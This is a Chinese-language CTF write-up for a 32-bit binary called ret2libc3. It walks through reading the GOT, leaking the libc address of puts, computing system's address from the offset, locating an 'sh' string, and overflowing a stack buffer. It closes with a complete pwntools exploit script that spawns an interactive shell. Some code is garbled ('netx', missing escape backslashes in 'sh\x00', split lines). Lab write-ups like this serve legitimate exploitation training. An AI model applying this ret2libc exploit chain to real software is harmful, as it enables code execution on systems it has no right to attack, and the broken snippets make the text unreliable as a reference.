背景知识
fflush
函数,清理缓冲区。
fflush(stdout)
一次性输出以上缓冲区所有数据
read(0,&buf,0xAu)
0代表标准输入,标准输出1,标准错误2,&buf 向buf输入。输入 长度为A的值的长度,数据类型U代表的是无符int
strtol(&buf,v3,v4)
是将输入的数据的ASCII码转换成数值存入 buf
中去
在read
中接受的是ascii码,所以使用python方法应该是 io.send(str('某个地址'))
使用got
查看运行的GOt 表中的信息
其中0x80
开始的就是未加载的表象地址。而0xf
开始一般都是libc中的地址
由上图可以看出,在 plt 中无 system 函数
利用查找字符串也未发现 /bin/sh
构建shell思路
当调试的时候查询到 puts 函数的时候,因为在 libc 中是固定的, 所以system
相对于puts
的位置是固定的,得到了puts
的地址加上偏移量即可获得system
地址
libc=ELF('./libc-2.23.so')
libc.symbols["system"]
//获取方法和获取当前变量一样
libc.symbols["puts"]
同样也可以使用ida进行获取
puts
相差的绝对值为 system
- puts
=
获取 puts 的 Got 地址。
from pwn import *
io=process('./ret2libc3')
elf=ELF('./ret2libc3')
elf.got['puts']
获得elf中put的 puts 地址 134520860
将该值传到服务器(这里是本地进程)
See_something 函数获取put在远程(这里是本地测试)的地址。
地址为0xf7daecd0
以 f7 开头的一般都是 libc 地址
获取sh
地址
获取到fflush
存储的地址,读取由sh开始的地址,当读取完sh
就会读取到 %00 。
即可完成字符串sh
的读取
netx(elf.search(b"sh x00"))
利用链
在复制过程中 src 的内容过长(0x100),导致 dest 之外的内容被覆盖。
src 内容来自于用户输入。
(注:默认情况下使用的libc文件为本机文件,使用ldd ret2libc3 -v查看相关信息)
payload
from pwn import *
io=process("./ret2libc3")
elf=ELF("./ret2libc3.1")
libc3=ELF("/lib/i386-linux-gnu/libc.so.6")
io.sendlineafter(" :",str(elf.got["puts"]))
io.recvuntil(b' : ')
puts_addr=int(io.recvuntil(b'
',drop=True),16)
base_addr=libc3.symbols["system"]-libc3.symbols["puts"]
print(base_addr)
payload=flat(cyclic(60),puts_addr+base_addr,0xdeadbeef,next(elf.search(b"shx00")))
print(payload)
io.sendlineafter(b" :",payload)
print(io.recv())
io.interactive()